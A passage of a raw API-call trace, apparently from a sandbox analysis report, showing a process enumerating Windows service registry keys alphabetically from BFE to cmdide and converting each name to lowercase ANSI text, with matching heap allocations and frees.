(in: hKey=0x148, dwIndex=0x2d, lpName=0x502850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.249] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x502850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x502850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x502850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x502850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.250] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.251] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x502850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.251] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x502850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.251] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x502850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0028.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x502850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x502850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x502850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0028.252] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.252] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x502850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x502850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x502850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.253] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x502850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0028.253] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x5a1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.254] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x502850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.254] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.254] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x502850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.254] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x5a1460, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0028.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x502850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0028.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x502850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0028.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x5a1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x502850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x5a1418, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x502850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x5a1460, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x502850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x5a1418, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x502850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x5a1460, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x502850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0028.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x502850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0028.255] WideCharToMultiByte (in: CodePage=0x0, 